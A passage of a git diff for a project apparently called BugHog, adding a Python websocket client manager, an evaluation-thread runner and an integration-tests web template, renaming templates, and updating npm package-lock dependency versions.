+1,133 @@ +import json +import logging +import threading +from typing import Literal + +from simple_websocket import Server + +from bughog import configuration +from bughog.analysis.plot_factory import PlotFactory +from bughog.parameters import MissingParametersError, evaluation_factory +from bughog.subject import factory + +logger = logging.getLogger(__name__) + + +class Clients: + __semaphore = threading.Semaphore() + __clients: dict[Server, dict] = {} + + @staticmethod + def add_client(ws_client: Server): + with Clients.__semaphore: + Clients.__clients[ws_client] = {} + + @staticmethod + def __remove_disconnected_clients(): + with Clients.__semaphore: + Clients.__clients = {k: v for k, v in Clients.__clients.items() if k.connected} + + @staticmethod + def associate_params(ws_client: Server, new_params: dict): + with Clients.__semaphore: + old_params = Clients.__clients.get(ws_client, {}) + updated_keys = Clients.get_keys_with_different_values(old_params, new_params) + Clients.__clients[ws_client] = new_params + if 'subject_type' in updated_keys: + Clients.push_experiments(ws_client) + if 'project_name' in updated_keys: + Clients.push_experiments(ws_client) + required_params_for_results = [ + 'subject_type', + 'subject_name', + 'version_range', + 'project_name', + 'experiment_to_plot', + ] + if all([new_params.get(param) is not None for param in required_params_for_results]): + Clients.push_results(ws_client) + + @staticmethod + def get_keys_with_different_values(dict1: dict, dict2: dict) -> list[str]: + """ + Returns a list of keys for which dict1 and that have different values. + """ + keys = set(dict1.keys()).union(set(dict2.keys())) + return [key for key in keys if dict1.get(key) != dict2.get(key)] + + @staticmethod + def push_results(ws_client: Server): + if params := Clients.__clients.get(ws_client, None): + if params.get('experiment_to_plot') is None: + return + params['experiments'] = [params['experiment_to_plot']] + try: + eval_params = evaluation_factory(params, configuration.get_database_params()) + if len(eval_params) < 1: + return + plot_params = eval_params[0].to_plot_parameters(params['experiment_to_plot']) + + if PlotFactory.validate_params(plot_params): + revision_data = None + version_data = None + else: + revision_data = PlotFactory.get_plot_commit_data(plot_params) + version_data = PlotFactory.get_plot_release_data(plot_params) + + ws_client.send( + json.dumps( + { + 'update': { + 'plot_data': { + 'revision_data': revision_data, + 'version_data': version_data, + } + } + } + ) + ) + except MissingParametersError: + logger.error('Could not update plot due to missing parameters.') + + @staticmethod + def push_results_to_all(): + Clients.__remove_disconnected_clients() + for ws_client in Clients.__clients.keys(): + Clients.push_results(ws_client) + + @staticmethod + def push_info(ws_client: Server, update: dict): + ws_client.send(json.dumps({'update': update})) + + @staticmethod + def push_info_to_all(update: dict): + Clients.__remove_disconnected_clients() + for ws_client in Clients.__clients.keys(): + Clients.push_info(ws_client, update) + + @staticmethod + def push_experiments(ws_client: Server): + client_info = Clients.__clients[ws_client] + if client_info is None: + logger.error('Could not find any associated info for this client') + return + + subject_type = client_info.get('subject_type') + project = client_info.get('project_name') + if project and subject_type: + factory.invalidate_experiment_cache() + experiments = factory.create_experiments(subject_type) + experiments = experiments.get_experiments(project) + ws_client.send(json.dumps({'update': {'experiments': experiments}})) + + @staticmethod + def push_experiments_to_all(): + Clients.__remove_disconnected_clients() + for ws_client in Clients.__clients.keys(): + Clients.push_experiments(ws_client) + + @staticmethod + def push_notification_to_all(message: str, type: Literal['info', 'error'] = 'info'): + Clients.__remove_disconnected_clients() + for ws_client in Clients.__clients.keys(): + ws_client.send(json.dumps({'notification': {'message': message, 'type': type}})) diff --git a/bughog/web/evaluation_thread.py b/bughog/web/evaluation_thread.py new file mode 100644 index 00000000..3c017efe --- /dev/null +++ b/bughog/web/evaluation_thread.py @@ -0,0 +1,26 @@ +import logging +import threading + +from bughog.main import Main +from bughog.parameters import EvaluationParameters +from bughog.web.clients import Clients + +logger = logging.getLogger(__name__) + +THREAD = None + + +def run_eval_thread(main: Main, eval_params_list: list[EvaluationParameters]): + global THREAD + + def thread_wrapper(): + try: + main.run(eval_params_list) + except Exception as e: + Clients.push_notification_to_all(str(e), type='error') + + if THREAD and THREAD.is_alive(): + Clients.push_notification_to_all('Evaluation thread is already running.', type='error') + else: + THREAD = threading.Thread(target=thread_wrapper) + THREAD.start() diff --git a/bci/web/templates/base.html b/bughog/web/templates/base.html similarity index 100% rename from bci/web/templates/base.html rename to bughog/web/templates/base.html diff --git a/bci/web/templates/cookies.html b/bughog/web/templates/cookies.html similarity index 100% rename from bci/web/templates/cookies.html rename to bughog/web/templates/cookies.html diff --git a/bci/web/templates/experiment.html b/bughog/web/templates/experiment.html similarity index 100% rename from bci/web/templates/experiment.html rename to bughog/web/templates/experiment.html diff --git a/bughog/web/templates/integration_tests.html b/bughog/web/templates/integration_tests.html new file mode 100644 index 00000000..ce5f41ee --- /dev/null +++ b/bughog/web/templates/integration_tests.html @@ -0,0 +1,101 @@ +{% extends 'base.html' %} + +{% block title %} +Integration tests +{% endblock %} + +{% block head %} + +{% endblock %} + +{% block content %} +
+

Integration tests

+ +
+ +
+
+ +
+ + + + + + + + + + + + + + {% for subject_type, result_list in verification_results.items() %} + + + + {% for result in result_list %} + + + + + + + + + {% endfor %} + {% endfor %} + +
ExperimentSubjectSuccessFailErrorsRatio
+ Subject Type: {{ subject_type }} +
{{ result['experiment_name'] }}{{ result['subject_name'] }}{{ result['nb_of_success_results'] }}{{ result['nb_of_fail_results'] }}{{ result['nb_of_error_results'] }}{{ result['success_ratio'] }} %
+
+ +
+

Advanced

+
+
+
+ +
+
+ +
+ + +
+ + +
+ +
+
+ + +
+{% endblock %} diff --git a/bci/web/vue/.gitignore b/bughog/web/vue/.gitignore similarity index 100% rename from bci/web/vue/.gitignore rename to bughog/web/vue/.gitignore diff --git a/bci/web/vue/index.html b/bughog/web/vue/index.html similarity index 100% rename from bci/web/vue/index.html rename to bughog/web/vue/index.html diff --git a/bci/web/vue/package-lock.json b/bughog/web/vue/package-lock.json similarity index 70% rename from bci/web/vue/package-lock.json rename to bughog/web/vue/package-lock.json index 5b3bfef2..e370e2ff 100644 --- a/bci/web/vue/package-lock.json +++ b/bughog/web/vue/package-lock.json @@ -9,19 +9,21 @@ "version": "0.0.0", "dependencies": { "@vueform/slider": "^2.1.10", - "ace-builds": "^1.34.2", - "axios": "^1.7.4", - "flowbite": "^1.6.5", + "@vueuse/core": "^13.9.0", + "ace-builds": "^1.43.4", + "axios": "^1.12.2", + "flowbite": "^1.8.1", "oh-vue-icons": "^1.0.0-rc3", "vue": "^3.2.47", - "vue-multiselect": "^2.1.7" + "vue-multiselect": "^2.1.9", + "vue3-toastify": "^0.2.8" }, "devDependencies": { - "@vitejs/plugin-vue": "^4.1.0", - "autoprefixer": "^10.4.14", - "postcss": "^8.4.23", - "tailwindcss": "^3.3.2", - "vite": "^4.5.5" + "@vitejs/plugin-vue": "^4.6.2", + "autoprefixer": "^10.4.21", + "postcss": "^8.5.6", + "tailwindcss": "^3.4.18", + "vite": "^4.5.14" } }, "node_modules/@alloc/quick-lru": { @@ -47,21 +49,21 @@ } }, "node_modules/@babel/helper-validator-identifier": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz", - "integrity": "sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==", + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", + "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==", "license": "MIT", "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/parser": { - "version": "7.27.2", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.27.2.tgz", - "integrity": "sha512-QYLs8299NA7WM/bZAdp+CviYYkVoYXlDW2rzliy3chxd1PQjej7JORuMJDJXJUb9g0TT+B99EwaVLKmX+sPXWw==", + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.6.tgz", + "integrity": "sha512-TeR9zWR18BvbfPmGbLampPMW+uW1NZnJlRuuHso8i87QZNq2JRF9i6RgxRqtEq+wQGsS19NNTWr2duhnE49mfQ==", "license": "MIT", "dependencies": { - "@babel/types": "^7.27.1" + "@babel/types": "^7.28.6" }, "bin": { "parser": "bin/babel-parser.js" @@ -71,13 +73,13 @@ } }, "node_modules/@babel/types": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.27.1.tgz", - "integrity": "sha512-+EzkxvLNfiUeKMgy/3luqfsCWFRXLb7U6wNQTk60tovuckwB15B191tJWvpp4HjiQWdJkCxO3Wbvc6jlk3Xb2Q==", + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.6.tgz", + "integrity": "sha512-0ZrskXVEHSWIqZM/sQZ4EV3jZJXRkio/WCxaqKZP1g//CEWEPSfeZFcms4XeKBCHU0ZKnIkdJeU/kF+eRp5lBg==", "license": "MIT", "dependencies": { "@babel/helper-string-parser": "^7.27.1", - "@babel/helper-validator-identifier": "^7.27.1" + "@babel/helper-validator-identifier": "^7.28.5" }, "engines": { "node": ">=6.9.0" @@ -457,37 +459,15 @@ "node": ">=12" } }, - "node_modules/@isaacs/cliui": { - "version": "8.0.2", - "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", - "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==", - "dev": true, - "license": "ISC", - "dependencies": { - "string-width": "^5.1.2", - "string-width-cjs": "npm:string-width@^4.2.0", - "strip-ansi": "^7.0.1", - "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", - "wrap-ansi": "^8.1.0", - "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" - }, - "engines": { - "node": ">=12" - } - }, "node_modules/@jridgewell/gen-mapping": { - "version": "0.3.8", - "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.8.tgz", - "integrity": "sha512-imAbBGkb+ebQyxKgzv5Hu2nmROxoDOXHh80evxdoXNOrvAnVx7zimzc1Oo5h9RlfV4vPXaE2iM5pOFbvOCClWA==", + "version": "0.3.13", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", + "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", "dev": true, "license": "MIT", "dependencies": { - "@jridgewell/set-array": "^1.2.1", - "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" - }, - "engines": { - "node": ">=6.0.0" } }, "node_modules/@jridgewell/resolve-uri": { @@ -500,26 +480,16 @@ "node": ">=6.0.0" } }, - "node_modules/@jridgewell/set-array": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.2.1.tgz", - "integrity": "sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.0.0" - } - }, "node_modules/@jridgewell/sourcemap-codec": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz", - "integrity": "sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==", + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", "license": "MIT" }, "node_modules/@jridgewell/trace-mapping": { - "version": "0.3.25", - "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz", - "integrity": "sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==", + "version": "0.3.31", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", + "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", "dev": true, "license": "MIT", "dependencies": { @@ -565,17 +535,6 @@ "node": ">= 8" } }, - "node_modules/@pkgjs/parseargs": { - "version": "0.11.0", - "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", - "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", - "dev": true, - "license": "MIT", - "optional": true, - "engines": { - "node": ">=14" - } - }, "node_modules/@popperjs/core": { "version": "2.11.8", "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.11.8.tgz", @@ -586,6 +545,12 @@ "url": "https://opencollective.com/popperjs" } }, + "node_modules/@types/web-bluetooth": { + "version": "0.0.21", + "resolved": "https://registry.npmjs.org/@types/web-bluetooth/-/web-bluetooth-0.0.21.tgz", + "integrity": "sha512-oIQLCGWtcFZy2JW77j9k8nHzAOpqMHLQejDA48XXMWH6tjCQHz5RCFz1bzsmROyL6PUm+LLnUiI4BCn221inxA==", + "license": "MIT" + }, "node_modules/@vitejs/plugin-vue": { "version": "4.6.2", "resolved": "https://registry.npmjs.org/@vitejs/plugin-vue/-/plugin-vue-4.6.2.tgz", @@ -601,103 +566,103 @@ } }, "node_modules/@vue/compiler-core": { - "version": "3.5.13", - "resolved": "https://registry.npmjs.org/@vue/compiler-core/-/compiler-core-3.5.13.tgz", - "integrity": "sha512-oOdAkwqUfW1WqpwSYJce06wvt6HljgY3fGeM9NcVA1HaYOij3mZG9Rkysn0OHuyUAGMbEbARIpsG+LPVlBJ5/Q==", + "version": "3.5.27", + "resolved": "https://registry.npmjs.org/@vue/compiler-core/-/compiler-core-3.5.27.tgz", + "integrity": "sha512-gnSBQjZA+//qDZen+6a2EdHqJ68Z7uybrMf3SPjEGgG4dicklwDVmMC1AeIHxtLVPT7sn6sH1KOO+tS6gwOUeQ==", "license": "MIT", "dependencies": { - "@babel/parser": "^7.25.3", - "@vue/shared": "3.5.13", - "entities": "^4.5.0", + "@babel/parser": "^7.28.5", + "@vue/shared": "3.5.27", + "entities": "^7.0.0", "estree-walker": "^2.0.2", - "source-map-js": "^1.2.0" + "source-map-js": "^1.2.1" } }, "node_modules/@vue/compiler-dom": { - "version": "3.5.13", - "resolved": "https://registry.npmjs.org/@vue/compiler-dom/-/compiler-dom-3.5.13.tgz", - "integrity": "sha512-ZOJ46sMOKUjO3e94wPdCzQ6P1Lx/vhp2RSvfaab88Ajexs0AHeV0uasYhi99WPaogmBlRHNRuly8xV75cNTMDA==", + "version": "3.5.27", + "resolved": "https://registry.npmjs.org/@vue/compiler-dom/-/compiler-dom-3.5.27.tgz", + "integrity": "sha512-oAFea8dZgCtVVVTEC7fv3T5CbZW9BxpFzGGxC79xakTr6ooeEqmRuvQydIiDAkglZEAd09LgVf1RoDnL54fu5w==", "license": "MIT", "dependencies": { - "@vue/compiler-core": "3.5.13", - "@vue/shared": "3.5.13" + "@vue/compiler-core": "3.5.27", + "@vue/shared": "3.5.27" } }, "node_modules/@vue/compiler-sfc": { - "version": "3.5.13", - "resolved": "https://registry.npmjs.org/@vue/compiler-sfc/-/compiler-sfc-3.5.13.tgz", - "integrity": "sha512-6VdaljMpD82w6c2749Zhf5T9u5uLBWKnVue6XWxprDobftnletJ8+oel7sexFfM3qIxNmVE7LSFGTpv6obNyaQ==", + "version": "3.5.27", + "resolved": "https://registry.npmjs.org/@vue/compiler-sfc/-/compiler-sfc-3.5.27.tgz", + "integrity": "sha512-sHZu9QyDPeDmN/MRoshhggVOWE5WlGFStKFwu8G52swATgSny27hJRWteKDSUUzUH+wp+bmeNbhJnEAel/auUQ==", "license": "MIT", "dependencies": { - "@babel/parser": "^7.25.3", - "@vue/compiler-core": "3.5.13", - "@vue/compiler-dom": "3.5.13", - "@vue/compiler-ssr": "3.5.13", - "@vue/shared": "3.5.13", + "@babel/parser": "^7.28.5", + "@vue/compiler-core": "3.5.27", + "@vue/compiler-dom": "3.5.27", + "@vue/compiler-ssr": "3.5.27", + "@vue/shared": "3.5.27", "estree-walker": "^2.0.2", - "magic-string": "^0.30.11", - "postcss": "^8.4.48", - "source-map-js": "^1.2.0" + "magic-string": "^0.30.21", + "postcss": "^8.5.6", + "source-map-js": "^1.2.1" } }, "node_modules/@vue/compiler-ssr": { - "version": "3.5.13", - "resolved": "https://registry.npmjs.org/@vue/compiler-ssr/-/compiler-ssr-3.5.13.tgz", - "integrity": "sha512-wMH6vrYHxQl/IybKJagqbquvxpWCuVYpoUJfCqFZwa/JY1GdATAQ+TgVtgrwwMZ0D07QhA99rs/EAAWfvG6KpA==", + "version": "3.5.27", + "resolved": "https://registry.npmjs.org/@vue/compiler-ssr/-/compiler-ssr-3.5.27.tgz", + "integrity": "sha512-Sj7h+JHt512fV1cTxKlYhg7qxBvack+BGncSpH+8vnN+KN95iPIcqB5rsbblX40XorP+ilO7VIKlkuu3Xq2vjw==", "license": "MIT", "dependencies": { - "@vue/compiler-dom": "3.5.13", - "@vue/shared": "3.5.13" + "@vue/compiler-dom": "3.5.27", + "@vue/shared": "3.5.27" } }, "node_modules/@vue/reactivity": { - "version": "3.5.13", - "resolved": "https://registry.npmjs.org/@vue/reactivity/-/reactivity-3.5.13.tgz", - "integrity": "sha512-NaCwtw8o48B9I6L1zl2p41OHo/2Z4wqYGGIK1Khu5T7yxrn+ATOixn/Udn2m+6kZKB/J7cuT9DbWWhRxqixACg==", + "version": "3.5.27", + "resolved": "https://registry.npmjs.org/@vue/reactivity/-/reactivity-3.5.27.tgz", + "integrity": "sha512-vvorxn2KXfJ0nBEnj4GYshSgsyMNFnIQah/wczXlsNXt+ijhugmW+PpJ2cNPe4V6jpnBcs0MhCODKllWG+nvoQ==", "license": "MIT", "dependencies": { - "@vue/shared": "3.5.13" + "@vue/shared": "3.5.27" } }, "node_modules/@vue/runtime-core": { - "version": "3.5.13", - "resolved": "https://registry.npmjs.org/@vue/runtime-core/-/runtime-core-3.5.13.tgz", - "integrity": "sha512-Fj4YRQ3Az0WTZw1sFe+QDb0aXCerigEpw418pw1HBUKFtnQHWzwojaukAs2X/c9DQz4MQ4bsXTGlcpGxU/RCIw==", + "version": "3.5.27", + "resolved": "https://registry.npmjs.org/@vue/runtime-core/-/runtime-core-3.5.27.tgz", + "integrity": "sha512-fxVuX/fzgzeMPn/CLQecWeDIFNt3gQVhxM0rW02Tvp/YmZfXQgcTXlakq7IMutuZ/+Ogbn+K0oct9J3JZfyk3A==", "license": "MIT", "dependencies": { - "@vue/reactivity": "3.5.13", - "@vue/shared": "3.5.13" + "@vue/reactivity": "3.5.27", + "@vue/shared": "3.5.27" } }, "node_modules/@vue/runtime-dom": { - "version": "3.5.13", - "resolved": "https://registry.npmjs.org/@vue/runtime-dom/-/runtime-dom-3.5.13.tgz", - "integrity": "sha512-dLaj94s93NYLqjLiyFzVs9X6dWhTdAlEAciC3Moq7gzAc13VJUdCnjjRurNM6uTLFATRHexHCTu/Xp3eW6yoog==", + "version": "3.5.27", + "resolved": "https://registry.npmjs.org/@vue/runtime-dom/-/runtime-dom-3.5.27.tgz", + "integrity": "sha512-/QnLslQgYqSJ5aUmb5F0z0caZPGHRB8LEAQ1s81vHFM5CBfnun63rxhvE/scVb/j3TbBuoZwkJyiLCkBluMpeg==", "license": "MIT", "dependencies": { - "@vue/reactivity": "3.5.13", - "@vue/runtime-core": "3.5.13", - "@vue/shared": "3.5.13", - "csstype": "^3.1.3" + "@vue/reactivity": "3.5.27", + "@vue/runtime-core": "3.5.27", + "@vue/shared": "3.5.27", + "csstype": "^3.2.3" } }, "node_modules/@vue/server-renderer": { - "version": "3.5.13", - "resolved": "https://registry.npmjs.org/@vue/server-renderer/-/server-renderer-3.5.13.tgz", - "integrity": "sha512-wAi4IRJV/2SAW3htkTlB+dHeRmpTiVIK1OGLWV1yeStVSebSQQOwGwIq0D3ZIoBj2C2qpgz5+vX9iEBkTdk5YA==", + "version": "3.5.27", + "resolved": "https://registry.npmjs.org/@vue/server-renderer/-/server-renderer-3.5.27.tgz", + "integrity": "sha512-qOz/5thjeP1vAFc4+BY3Nr6wxyLhpeQgAE/8dDtKo6a6xdk+L4W46HDZgNmLOBUDEkFXV3G7pRiUqxjX0/2zWA==", "license": "MIT", "dependencies": { - "@vue/compiler-ssr": "3.5.13", - "@vue/shared": "3.5.13" + "@vue/compiler-ssr": "3.5.27", + "@vue/shared": "3.5.27" }, "peerDependencies": { - "vue": "3.5.13" + "vue": "3.5.27" } }, "node_modules/@vue/shared": { - "version": "3.5.13", - "resolved": "https://registry.npmjs.org/@vue/shared/-/shared-3.5.13.tgz", - "integrity": "sha512-/hnE/qP5ZoGpol0a5mDi45bOd7t3tjYJBjsgCsivow7D48cJeV5l05RD82lPqi7gRiphZM37rnhW1l6ZoCNNnQ==", + "version": "3.5.27", + "resolved": "https://registry.npmjs.org/@vue/shared/-/shared-3.5.27.tgz", + "integrity": "sha512-dXr/3CgqXsJkZ0n9F3I4elY8wM9jMJpP3pvRG52r6m0tu/MsAFIe6JpXVGeNMd/D9F4hQynWT8Rfuj0bdm9kFQ==", "license": "MIT" }, "node_modules/@vueform/slider": { @@ -706,38 +671,50 @@ "integrity": "sha512-L2G3Ju51Yq6yWF2wzYYsicUUaH56kL1QKGVtimUVHT1K1ADcRT94xVyIeJpS0klliVEeF6iMZFbdXtHq8AsDHw==", "license": "MIT" }, - "node_modules/ace-builds": { - "version": "1.41.0", - "resolved": "https://registry.npmjs.org/ace-builds/-/ace-builds-1.41.0.tgz", - "integrity": "sha512-tiEUfw7V/FpHuI4tG7KS+muOTMIuPh6zReBAD2Uqhe9t00tLeyVGxjXu0tSqz5OIPWy7/wvuJBVXAsNWx0rYvQ==", - "license": "BSD-3-Clause" - }, - "node_modules/ansi-regex": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz", - "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==", - "dev": true, + "node_modules/@vueuse/core": { + "version": "13.9.0", + "resolved": "https://registry.npmjs.org/@vueuse/core/-/core-13.9.0.tgz", + "integrity": "sha512-ts3regBQyURfCE2BcytLqzm8+MmLlo5Ln/KLoxDVcsZ2gzIwVNnQpQOL/UKV8alUqjSZOlpFZcRNsLRqj+OzyA==", "license": "MIT", - "engines": { - "node": ">=12" + "dependencies": { + "@types/web-bluetooth": "^0.0.21", + "@vueuse/metadata": "13.9.0", + "@vueuse/shared": "13.9.0" }, "funding": { - "url": "https://github.com/chalk/ansi-regex?sponsor=1" + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "vue": "^3.5.0" } }, - "node_modules/ansi-styles": { - "version": "6.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz", - "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==", - "dev": true, + "node_modules/@vueuse/metadata": { + "version": "13.9.0", + "resolved": "https://registry.npmjs.org/@vueuse/metadata/-/metadata-13.9.0.tgz", + "integrity": "sha512-1AFRvuiGphfF7yWixZa0KwjYH8ulyjDCC0aFgrGRz8+P4kvDFSdXLVfTk5xAN9wEuD1J6z4/myMoYbnHoX07zg==", "license": "MIT", - "engines": { - "node": ">=12" - }, "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" + "url": "https://github.com/sponsors/antfu" } }, + "node_modules/@vueuse/shared": { + "version": "13.9.0", + "resolved": "https://registry.npmjs.org/@vueuse/shared/-/shared-13.9.0.tgz", + "integrity": "sha512-e89uuTLMh0U5cZ9iDpEI2senqPGfbPRTHM/0AaQkcxnpqjkZqDYP8rpfm7edOz8s+pOCOROEy1PIveSW8+fL5g==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "vue": "^3.5.0" + } + }, + "node_modules/ace-builds": { + "version": "1.43.5", + "resolved": "https://registry.npmjs.org/ace-builds/-/ace-builds-1.43.5.tgz", + "integrity": "sha512-iH5FLBKdB7SVn9GR37UgA/tpQS8OTWIxWAuq3Ofaw+Qbc69FfPXsXd9jeW7KRG2xKpKMqBDnu0tHBrCWY5QI7A==", + "license": "BSD-3-Clause" + }, "node_modules/any-promise": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", @@ -773,9 +750,9 @@ "license": "MIT" }, "node_modules/autoprefixer": { - "version": "10.4.21", - "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.21.tgz", - "integrity": "sha512-O+A6LWV5LDHSJD3LjHYoNi4VLsj/Whi7k6zG12xTYaU4cQ8oxQGckXNX8cRHK5yOZ/ppVHe0ZBXGzSV9jXdVbQ==", + "version": "10.4.23", + "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.23.tgz", + "integrity": "sha512-YYTXSFulfwytnjAPlw8QHncHJmlvFKtczb8InXaAx9Q0LbfDnfEYDE55omerIJKihhmU61Ft+cAOSzQVaBUmeA==", "dev": true, "funding": [ { @@ -793,10 +770,9 @@ ], "license": "MIT", "dependencies": { - "browserslist": "^4.24.4", - "caniuse-lite": "^1.0.30001702", - "fraction.js": "^4.3.7", - "normalize-range": "^0.1.2", + "browserslist": "^4.28.1", + "caniuse-lite": "^1.0.30001760", + "fraction.js": "^5.3.4", "picocolors": "^1.1.1", "postcss-value-parser": "^4.2.0" }, @@ -811,22 +787,25 @@ } }, "node_modules/axios": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/axios/-/axios-1.9.0.tgz", - "integrity": "sha512-re4CqKTJaURpzbLHtIi6XpDv20/CnpXOtjRY5/CU32L8gU8ek9UIivcfvSWvmKEngmVbrUtPpdDwWDWL7DNHvg==", + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.13.2.tgz", + "integrity": "sha512-VPk9ebNqPcy5lRGuSlKx752IlDatOjT9paPlm8A7yOuW2Fbvp4X3JznJtT4f0GzGLLiWE9W8onz51SqLYwzGaA==", "license": "MIT", "dependencies": { "follow-redirects": "^1.15.6", - "form-data": "^4.0.0", + "form-data": "^4.0.4", "proxy-from-env": "^1.1.0" } }, - "node_modules/balanced-match": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "node_modules/baseline-browser-mapping": { + "version": "2.9.16", + "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.9.16.tgz", + "integrity": "sha512-KeUZdBuxngy825i8xvzaK1Ncnkx0tBmb3k8DkEuqjKRkmtvNTjey2ZsNeh8Dw4lfKvbCOu9oeNx2TKm2vHqcRw==", "dev": true, - "license": "MIT" + "license": "Apache-2.0", + "bin": { + "baseline-browser-mapping": "dist/cli.js" + } }, "node_modules/binary-extensions": { "version": "2.3.0", @@ -841,16 +820,6 @@ "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/brace-expansion": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", - "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0" - } - }, "node_modules/braces": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", @@ -865,9 +834,9 @@ } }, "node_modules/browserslist": { - "version": "4.24.5", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.24.5.tgz", - "integrity": "sha512-FDToo4Wo82hIdgc1CQ+NQD0hEhmpPjrZ3hiUgwgOG6IuTdlpr8jdjyG24P6cNP1yJpTLzS5OcGgSw0xmDU1/Tw==", + "version": "4.28.1", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.1.tgz", + "integrity": "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==", "dev": true, "funding": [ { @@ -885,10 +854,11 @@ ], "license": "MIT", "dependencies": { - "caniuse-lite": "^1.0.30001716", - "electron-to-chromium": "^1.5.149", - "node-releases": "^2.0.19", - "update-browserslist-db": "^1.1.3" + "baseline-browser-mapping": "^2.9.0", + "caniuse-lite": "^1.0.30001759", + "electron-to-chromium": "^1.5.263", + "node-releases": "^2.0.27", + "update-browserslist-db": "^1.2.0" }, "bin": { "browserslist": "cli.js" @@ -921,9 +891,9 @@ } }, "node_modules/caniuse-lite": { - "version": "1.0.30001718", - 